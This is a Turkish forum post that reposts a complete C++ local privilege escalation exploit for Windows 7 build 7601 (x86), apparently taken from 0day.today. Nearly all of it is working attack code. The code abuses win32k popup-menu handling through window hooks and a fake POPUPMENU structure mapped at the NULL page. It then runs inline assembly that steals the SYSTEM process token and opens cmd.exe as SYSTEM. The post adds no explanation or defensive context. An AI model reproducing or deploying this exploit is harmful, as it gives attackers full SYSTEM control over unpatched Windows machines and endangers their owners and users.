Hoşgeldin Misafir

Microsoft Windows 7 build 7601 (x86) - Local Privilege Escalation Exploit

NasyoneL

NasyoneL

Karanlık Özgürlüktür
25 Ağu 2017
25,060 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
#include <Windows.h>
#include <iostream>
 
/*
EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47176.zip
*/
 
/* PREPROCESSOR DEFINITIONS */
#define MN_SELECTITEM 0x1E5
#define MN_SELECTFIRSTVALIDITEM 0x1E7
#define MN_OPENHIERARCHY 0x01E3
#define MN_CANCELMENUS 0x1E6
#define MN_BUTTONDOWN 0x1ed
#define WM_EX_TRIGGER 0x6789
#define NtCurrentProcess() (HANDLE)-1
#define NtCurrentThread()  (HANDLE)-1
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define TYPE_WINDOW 1
 
/* GLOBAL VARIABLES */
static BOOL             hWindowHuntDestroy = FALSE;
static BOOL             bEnterEvent = FALSE;
static BOOL             success = FALSE;
static HMENU    hMenuList[3] = { 0 };
static HWND             hWindowMain = NULL;
static HWND             hWindowHunt = NULL;
static HWND             hwndMenuList[3] = { 0 };
static PVOID    MemAddr = (PVOID)1;
static SIZE_T   MemSize = 0x1000;
static DWORD    iCount = 0;
static DWORD    release = 0;
 
 
/* Structure definition of win32k!tagWND returned by xxHMValidateHandle */
typedef struct _HEAD {
        HANDLE  h;
        DWORD   cLockObj;
} HEAD, *PHEAD;
 
typedef struct _THROBJHEAD {
        HEAD    head;
        PVOID   pti;
} THROBJHEAD, *PTHROBJHEAD;
 
typedef struct _DESKHEAD {
        PVOID   rpdesk;
        PBYTE   pSelf;
} DESKHEAD, *PDESKHEAD;
 
typedef struct _THRDESKHEAD {
        THROBJHEAD  thread;
        DESKHEAD    deskhead;
} THRDESKHEAD, *PTHRDESKHEAD;
 
/* Definition of xxHMValidateHandle */
static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;
 
/* Defintion of NtallocateVirtualMemory */
typedef
NTSTATUS
(WINAPI *pfNtAllocateVirtualMemory) (
        HANDLE       ProcessHandle,
        PVOID       *BaseAddress,
        ULONG_PTR    ZeroBits,
        PSIZE_T      RegionSize,
        ULONG        AllocationType,
        ULONG        Protect
        );
pfNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
 
 
static
VOID
xxGetHMValidateHandle(VOID)
{
        HMODULE hModule = LoadLibraryA("USER32.DLL");
        PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
        PBYTE Address = NULL;
        for (INT i = 0; i < 0x30; i++)
        {
                if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
                {
                        continue;
                }
                i += 2;
                if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
                {
                        continue;
                }
                Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
                Address = Address + i + 5;
                pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
                break;
        }
}
 
static
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
        return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}
 
static
PVOID
xxHMValidateHandle(HWND hwnd)
{
        PVOID RetAddr = NULL;
        if (!pfnHMValidateHandle)
        {
                xxGetHMValidateHandle();
        }
        if (pfnHMValidateHandle)
        {
                RetAddr = xxHMValidateHandleEx(hwnd);
        }
        return RetAddr;
}
 
static
BOOL
xxRegisterWindowClassW(LPCWSTR lpszClassName, INT cbWndExtra, WNDPROC pfnProc = DefWindowProcW)
{
        WNDCLASSEXW wc = { 0 };
        wc.cbSize = sizeof(WNDCLASSEXW);
        wc.lpfnWndProc = pfnProc;
        wc.cbWndExtra = cbWndExtra;
        wc.hInstance = GetModuleHandleA(NULL);
        wc.lpszMenuName = NULL;
        wc.lpszClassName = lpszClassName;
        return RegisterClassExW(&wc);
}
 
static
HWND
xxCreateWindowExW(LPCWSTR lpszClassName, DWORD dwExStyle, DWORD dwStyle, HINSTANCE hInstance = NULL, HWND hwndParent = NULL)
{
        return CreateWindowExW(dwExStyle,
                lpszClassName,
                NULL,
                dwStyle,
                0,
                0,
                1,
                1,
                hwndParent,
                NULL,
                hInstance,
                NULL);
}
 
static
LRESULT
CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
        tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
 
        if (cwp->message == WM_NCCREATE && bEnterEvent && hwndMenuList[release] && !hwndMenuList[release+1])
        {
                printf("Sending the MN_CANCELMENUS message\n");
                SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0);
                bEnterEvent = FALSE;
        }
        return CallNextHookEx(0, code, wParam, lParam);
}
 
 
static
VOID
CALLBACK
xxWindowEventProc(
        HWINEVENTHOOK hWinEventHook,
        DWORD         event,
        HWND          hwnd,
        LONG          idObject,
        LONG          idChild,
        DWORD         idEventThread,
        DWORD         dwmsEventTime
)
{
        UNREFERENCED_PARAMETER(hWinEventHook);
        UNREFERENCED_PARAMETER(event);
        UNREFERENCED_PARAMETER(idObject);
        UNREFERENCED_PARAMETER(idChild);
        UNREFERENCED_PARAMETER(idEventThread);
        UNREFERENCED_PARAMETER(dwmsEventTime);
 
        bEnterEvent = TRUE;
        if (iCount < ARRAYSIZE(hwndMenuList))
        {
                hwndMenuList[iCount] = hwnd;
                iCount++;
        }
        SendMessageW(hwnd, MN_SELECTITEM, 0, 0);
        SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
        PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
}
 
__declspec(noinline) int Shellcode()
{
        __asm {
                xor eax, eax // Set EAX to 0.
                mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData.
                                                                                         // _KTHREAD is located at FS:[0x124]
                mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process
                mov ecx, eax // Copy current process _EPROCESS structure
                mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4
                SearchSystemPID:
                        mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink
                        sub eax, 0B8h
                        cmp[eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId
                        jne SearchSystemPID
                        mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token
                        mov[ecx + 0xF8], edx // Assign SYSTEM process token.
        }
}
 
static
LRESULT
WINAPI
xxMainWindowProc(
        _In_ HWND   hwnd,
        _In_ UINT   msg,
        _In_ WPARAM wParam,
        _In_ LPARAM lParam
)
{
        if (msg == 0x1234)
        {
                WORD um = 0;
                __asm
                {
                        // Grab the value of the CS register and
                        // save it into the variable UM.
                        //int 3
                        mov ax, cs
                        mov um, ax
                }
                // If UM is 0x1B, this function is executing in usermode
                // code and something went wrong. Therefore output a message that
                // the exploit didn't succeed and bail.
                if (um == 0x1b)
                {
                        // USER MODE
                        printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n");
                        ExitProcess(-1); // Bail as if this code is hit either the target isn't 
                                                         // vulnerable or something is wrong with the exploit.
                }
                else
                {
                        success = TRUE; // Set the success flag to indicate the sprayCallback()
                                                        // window procedure is running as SYSTEM.
                        Shellcode(); // Call the Shellcode() function to perform the token stealing and
                                                 // to remove the Job object on the Chrome renderer process.
                }
        }
        return DefWindowProcW(hwnd, msg, wParam, lParam);
}
 
int main()
{
        /* Creating the menu */
        for (int i = 0; i < 3; i++)
                hMenuList[i] = CreateMenu();
 
        /* Appending the menus along with the item */
        for (int i = 0; i < 3; i++)
        {
                AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item");
        }
        AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item");
 
        /* Creating a main window class */
        xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc);
        hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN",
                WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
                WS_VISIBLE,
                GetModuleHandleA(NULL));
        printf("Handle of the mainWindow : 0x%08X\n", (unsigned int)hWindowMain);
        ShowWindow(hWindowMain, SW_SHOWNOACTIVATE);
 
        /* Creating the hunt window class */
        xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc);
        hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",
                WS_EX_LEFT,
                WS_OVERLAPPEDWINDOW,
                GetModuleHandleA(NULL));
        printf("Handle of the huntWindow : 0x%08X\n", (unsigned int)hWindowHunt);
         
        /* Hooking the WH_CALLWNDPROC function */
        SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId());
 
        /* Hooking the trackpopupmenuEx WINAPI call */
        HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc,
                GetCurrentProcessId(), GetCurrentThreadId(), 0);
 
        /* Setting the root popup menu to null */
        printf("Setting the root popup menu to null\n");
        release = 0;
        TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);
 
        /* Allocating the memory at NULL page */
        *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");
        if (NtAllocateVirtualMemory == NULL)
                return 1;
 
        if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(),
                &MemAddr,
                0,
                &MemSize,
                MEM_COMMIT | MEM_RESERVE,
                PAGE_READWRITE)) || MemAddr != NULL)
        {
                std::cout << "[-]Memory alloc failed!" << std::endl;
                return 1;
        }
        ZeroMemory(MemAddr, MemSize);
 
        /* Getting the tagWND of the hWindowHunt */
        PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
        printf("Address of the win32k!tagWND of hWindowHunt : 0x%08X\n", (unsigned int)head->deskhead.pSelf);
 
        /* Creating a fake POPUPMENU structure */
        DWORD dwPopupFake[0x100] = { 0 };
        dwPopupFake[0x0] = (DWORD)0x1; //->flags
        dwPopupFake[0x1] = (DWORD)0x1; //->spwndNotify
        dwPopupFake[0x2] = (DWORD)0x1; //->spwndPopupMenu
        dwPopupFake[0x3] = (DWORD)0x1; //->spwndNextPopup
        dwPopupFake[0x4] = (DWORD)0x1; //->spwndPrevPopup
        dwPopupFake[0x5] = (DWORD)0x1; //->spmenu
        dwPopupFake[0x6] = (DWORD)0x1; //->spmenuAlternate
        dwPopupFake[0x7] = (ULONG)head->deskhead.pSelf + 0x12;  //->spwndActivePopup
        dwPopupFake[0x8] = (DWORD)0x1;  //->ppopupmenuRoot
        dwPopupFake[0x9] = (DWORD)0x1; //->ppmDelayedFree
        dwPopupFake[0xA] = (DWORD)0x1;  //->posSelectedItem
        dwPopupFake[0xB] = (DWORD)0x1; //->posDropped
        dwPopupFake[0xC] = (DWORD)0;
 
        /* Copying it to the NULL page */
        RtlCopyMemory(MemAddr, dwPopupFake, 0x1000);
 
        /* Allowing to access the NULL page mapped values */
        release = 1;
        hwndMenuList[2] = NULL;
        TrackPopupMenuEx(hMenuList[1], 0, 0, 0, hWindowMain, NULL);
         
        /* Freeing the allocated NULL memory */
        VirtualFree(MemAddr, 0x1000, 0);
 
        SendMessageW(hWindowHunt, 0x1234, (WPARAM)hwndMenuList[0], 0x11);
 
        if (success)
        {
                STARTUPINFO si = { sizeof(si) };
                PROCESS_INFORMATION pi = { 0 };
                si.dwFlags = STARTF_USESHOWWINDOW;
                si.wShowWindow = SW_SHOW;
                printf("Getting the shell now...\n");
                BOOL bRet = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
                if (bRet)
                {
                        CloseHandle(pi.hProcess);
                        CloseHandle(pi.hThread);
                }
        }
 
        DestroyWindow(hWindowMain);
 
        MSG msg = { 0 };
        while (GetMessageW(&msg, NULL, 0, 0))
        {
                TranslateMessage(&msg);
                DispatchMessageW(&msg);
        }
        return 0;
}
 
#  0day.today [2019-07-31]  #